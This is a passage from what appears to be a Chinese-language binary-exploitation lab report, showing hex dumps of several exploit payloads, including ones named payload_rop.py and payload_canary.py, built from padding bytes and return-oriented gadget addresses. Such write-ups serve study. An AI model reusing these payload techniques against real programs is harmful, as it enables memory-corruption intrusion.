bf04 0000 0068 c31a 4000 6887 1a40 00c3  .....h..@.h..@..
4343 4343 4343 4343 d00f 8000 1072 0000  CCCCCCCC.....r..

payload_rop.py (64 B)
4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
4444 4444 4444 4444 331a 4000 0000 0000  DDDDDDDD3.@.....
0400 0000 0000 0000 341a 4000 0000 0000  ........4.@.....
7819 4000 0000 0000 b419 4000 0000 0000  x.@.......@.....

payload_canary.py (260 B)
4545 4545 4545 4545 a318 4000 0000 0000  EEEEEEEE..@.....
0400 0000 0000 0000 a418 4000 0000 0000  ..........@.....
7716 4000 0000 0000 f517 4000 0000 0000  w.@.......@.....
4646 ... (填充到 0xff) ... a000 0000        FF........
```

代码 25 四个 payload 的关键字节

（报告完）